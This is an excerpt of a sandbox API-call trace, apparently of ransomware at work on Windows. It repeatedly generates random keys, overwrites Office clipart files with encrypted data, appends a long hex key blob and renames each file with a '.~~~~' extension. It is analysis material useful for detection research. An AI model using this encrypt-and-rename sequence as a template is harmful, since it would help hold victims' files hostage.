	[0094.087] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.088] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.088] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.088] CloseHandle (hObject=0x13c) returned 1
	[0094.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.088] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.~~~~")) returned 1
	[0094.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0094.089] GetLastError () returned 0x0
	[0094.089] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0094.090] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.090] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0094.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0094.090] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21408053904) returned 1
	[0094.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa1ca6cf0, dwHighDateTime=0x1d60e1e)) 
	[0094.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0094.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0094.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0094.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9998
	[0094.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9998 | out: hHeap=0x300000) returned 1
	[0094.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e848
	[0094.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.091] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0094.091] GetLastError () returned 0x0
	[0094.091] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0094.091] GetLastError () returned 0x0
	[0094.161] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffa030, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.161] WriteFile (in: hFile=0x13c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x5fd0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x5fd0, lpOverlapped=0x0) returned 1
	[0094.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0094.162] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.162] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.162] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.162] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.162] CloseHandle (hObject=0x13c) returned 1
	[0094.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.163] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.~~~~")) returned 1
	[0094.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0094.164] GetLastError () returned 0x0
	[0094.268] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0094.269] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.269] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0094.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0094.269] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21425927908) returned 1
	[0094.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa1e6fd70, dwHighDateTime=0x1d60e1e)) 
	[0094.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0094.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0094.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0094.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9810
	[0094.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9810 | out: hHeap=0x300000) returned 1
	[0094.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283ed08
	[0094.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.270] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0094.270] GetLastError () returned 0x0
	[0094.270] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0094.270] GetLastError () returned 0x0
	[0094.373] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff548c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.373] WriteFile (in: hFile=0x12c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0xab74, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0xab74, lpOverlapped=0x0) returned 1
	[0094.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0094.374] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.374] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.374] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.374] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.374] CloseHandle (hObject=0x12c) returned 1
	[0094.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.375] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.~~~~")) returned 1
	[0094.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0094.376] GetLastError () returned 0x0
	[0094.376] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0094.377] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.377] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0094.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0094.377] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21436732073) returned 1
	[0094.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa1f7a710, dwHighDateTime=0x1d60e1e)) 
	[0094.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0094.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0094.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0094.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9308
	[0094.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9308 | out: hHeap=0x300000) returned 1
	[0094.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283ec70
	[0094.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.378] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0094.378] GetLastError () returned 0x0
	[0094.378] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0094.378] GetLastError () returned 0x0
	[0094.441] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffb22d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.441] WriteFile (in: hFile=0x12c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x4dd3, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x4dd3, lpOverlapped=0x0) returned 1
	[0094.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0094.442] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.442] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.443] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.443] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.443] CloseHandle (hObject=0x12c) returned 1
	[0094.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.443] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.~~~~")) returned 1
	[0094.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0094.444] GetLastError () returned 0x0
	[0094.444] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0094.445] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.445] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0094.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0094.445] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21443568932) returned 1
	[0094.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa2012c90, dwHighDateTime=0x1d60e1e)) 
	[0094.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0094.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0094.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0094.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3886b0
	[0094.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3886b0 | out: hHeap=0x300000) returned 1
	[0094.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283ef68
	[0094.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.446] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0094.446] GetLastError () returned 0x0
	[0094.447] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0094.447] GetLastError () returned 0x0
	[0094.510] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff7b49, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.510] WriteFile (in: hFile=0x12c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x84b7, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x84b7, lpOverlapped=0x0) returned 1
	[0094.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0094.511] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.511] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.511] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.511] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.511] CloseHandle (hObject=0x12c) returned 1
	[0094.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.512] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.~~~~")) returned 1
	[0094.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0094.513] GetLastError () returned 0x0
	[0094.513] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0094.514] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.514] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0094.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0094.514] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21450429483) returned 1
	[0094.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa20d1370, dwHighDateTime=0x1d60e1e)) 
	[0094.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0094.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0094.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0094.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388790
	[0094.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388790 | out: hHeap=0x300000) returned 1
	[0094.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f1c8
	[0094.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.515] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0094.515] GetLastError () returned 0x0
	[0094.515] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0094.515] GetLastError () returned 0x0
	[0094.621] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff0c0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.621] WriteFile (in: hFile=0x12c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0xf40, lpOverlapped=0x0) returned 1
	[0095.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0095.179] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
